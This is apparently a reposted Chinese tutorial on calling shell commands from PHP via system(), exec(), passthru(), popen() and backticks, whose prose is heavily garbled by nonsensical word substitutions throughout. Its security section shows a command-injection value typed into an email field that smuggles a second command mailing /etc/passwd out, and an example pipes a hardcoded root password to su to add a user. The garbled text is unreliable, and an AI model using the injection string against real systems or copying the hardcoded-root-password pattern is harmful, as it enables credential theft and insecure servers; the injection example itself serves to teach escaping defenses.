PHP系统函数exec

区别:
system() 输出并回到最终意气风发行shell结果。
exec() 不出口结果,重回最终一行shell结果,全部结果能够保留到一个回到的数组里面。
passthru() 只调用命令,把命令的运营结果原样地直接出口到标准输出设备上。

相近点:都足以拿走命令试行的景色码

demo:
//system('dir');
// exec ('dir');
// passthru ('dir');
// echo `dir`;

PHP作为大器晚成种服务器端的脚本语言,象编写轻巧,可能是繁体的动态网页那样的义务,它完全能够胜任。但职业不一而再这么,有时为了落到实处有些功能,必得依附操作系统的表面程序(也许叫做命令),那样能够成功经济。

那就是说,是还是不是能够在PHP脚本中调用外界命令呢?要是能,怎么样去做吗?有个别怎么着地点的顾忌吗?相信您看了本文后,确定能够应对那么些标题了。

是否足以?

答案是一定的。PHP和其余的程序设计语言同样,完全能够在程序内调用外界命令,而且是相当粗略的:只要用四个或多少个函数就能够。

前提条件

是因为PHP基本是用以WEB程序支付的,所以安全性成了人人思虑的三个第一方面。于是PHP的设计者们给PHP加了三个门:安全形式。固然运转在安全情势下,那么PHP脚本元帅受到如下多个地点的界定:

试行外界命令

在打开文件时不怎么限定

连接MySQL数据库

基于HTTP的认证

在 安全格局下,唯有在一定目录中的外部程序才可以被试行,对此外程序的调用将被反驳回绝。那一个目录能够在php.ini文件中用 safe_mode_exec_dir指令,或在编写翻译PHP是加上--with-exec-dir选项来钦命,暗中认可是 /usr/local/php/bin。

要是您调用一个应有能够出口结果的外界命令(意思是PHP脚本对的误),获得的却是一片空白,那么很或者您的网管已经把PHP运营在安全格局下了。

如何做?

在PHP中调用外界命令,可以用如下三种格局来促成:

1) 用PHP提供的非常函数

PHP提供共了3个特意的实践外界命令的函数:system(),exec(),passthru()。

system()

原型:string system (string command [, int return_var])

system()函数很其余语言中的大概,它实践给定的下令,输出和再次来到结果。第四个参数是可选的,用来获得命令推行后的状态码。

例子:

 

system("/usr/local/bin/webalizer/webalizer");

?>

exec()

原型:string exec (string command [, string array [, int return_var]])

exec ()函数与system()相仿,也进行给定的通令,但不出口结果,而是回到结果的终极生龙活虎行。即使它只回去命令结果的末段黄金年代行,但用第一个参数array 可以获得完整的结果,方法是把结果逐行追加到array的结尾处。所以即使array不是空的,在调用从前最佳用unset()最它清掉。唯有钦赐了第三个参数时,才具够用第1个参数,用来赢得命令施行的状态码。

例子:

exec("/bin/ls -l");

exec("/bin/ls -l", $res);

exec("/bin/ls -l", $res, $rc);

?>

passthru()

原型:void passthru (string command [, int return_var])

passthru ()只调用命令,不回来任何结果,但把命令的运维结果原样地向来出口到规范输出设备上。所以passthru()函数平日用来调用象pbmplus (Unix下的二个拍卖图片的工具,输出二进制的原本图片的流)那样的主次。同样它也足以获得命令施行的状态码。

例子:

header("Content-type: image/gif");

passthru("./ppmtogif hunte.ppm");

?>

2) 用popen()函数打开进度

地点的形式只能轻易地施行命令,却不能与命令交互。但有个别时候必需向命令输入一些东西,如在大增Linux的系统客商时,要调用su来把当前客户换成root才行,而su命令必须求在命令行上输入root的密码。这种意况下,用地方提到的章程显然是不行的。

popen ()函数打开三个经过管道来实施给定的下令,重临贰个文书句柄。既然重返的是贰个文本句柄,那么就能够对它读和写了。在PHP3中,对这种句柄只好做纯粹 的操作形式,要么写,要么读;从PHP4最早,可以同有时常候读和写了。除非那些句柄是以朝气蓬勃种情势(读或写)展开的,不然必需调用pclose()函数来关闭 它。

例子1:

 

$fp=popen("/bin/ls -l", "r");

?>

事例2(本例来自PHP中夏族民共和国联盟网站

 

/* PHP中怎么样充实二个体系客商

上面是生龙活虎段例程,扩展叁个名为james的客商,

root密码是 verygood。仅供参照他事他说加以考查

*/

$sucommand = "su --login root --command";

$useradd = "useradd ";

$rootpasswd = "verygood";

$user = "james";

$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);

$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);

@pclose($fp);

?>

3) 用反撇号(`,也正是键盘上ESC键上面包车型大巴拾叁分,和~在同二个下边)

其生龙活虎办法以前从未归入PHP的文书档案,是用作七个法门存在的。方法超级轻松,用八个反撇号把要实行的命令括起来作为多少个表达式,这一个表明式的值正是命令施行的结果。如:

$res='/bin/ls -l';

echo '
'.$res.'
';

?>

其一本子的出口就象:

hunte.gif

hunte.ppm

jpg.htm

jpg.jpg

passthru.php

要考虑些什么?

要思虑三个难题:安全性和过期。

先 看安全性。比方,你有一家Mini的网络商店,所以能够贩卖的出品列表放在一个文书中。你编写了八个有表单的HTML文件,让您的客商输入他们的EMAIL地 址,然后把这么些产品列表发给他们。倘让你从未利用PHP的mail()函数(只怕还未有传闻过),你就调用Linux/Unix系统的mail程序来发送那么些文本。程序就象那样:

 

system("mail $to < products.txt");

echo "我们的产品目录已经发送到你的信箱:$to";

?>

用这段代码,平日的客商不会时有爆发哪些危殆,但事实上存在着超大的安全漏洞。假如有个恶意的顾客输入了那样二个EMAIL地址:

'--bla ; mail someone@domain.com < /etc/passwd ;'

那么那条命令最终成为:

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

小编深信,无论哪个互连网管理人士看到那样的下令,都会吓出一身冷汗来。

幸好,PHP为大家提供了四个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把贰个字符串 中有着可能瞒过Shell而去实践其余二个限令的字符转义。那些字符在Shell中是有特有含义的,象分号(),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来管理命令的参数的。它在加以的字符串两侧加上单引号,并把字符串中的单引号转义,那样那些字符串 就足以高枕而卧地作为命令的参数。

再来看看超时难点。假若要进行的通令要花费十分短的小运,那么相应把这几个命令放到系统的后台去运转。但在暗中认可情状下,象system()等函数要等到那一个命令运转完才重临(实际上是要等一声令下的出口结果),那早晚上的集会孳生PHP脚本的晚点。肃清的法子是 把命令的出口重定向到其余二个文书或流中,如:

system("/usr/local/bin/order_proc > /tmp/null &");

?>

 

来自:

本文由银河网址发布于银河网址,转载请注明出处:PHP系统函数exec

您可能还会对下面的文章感兴趣: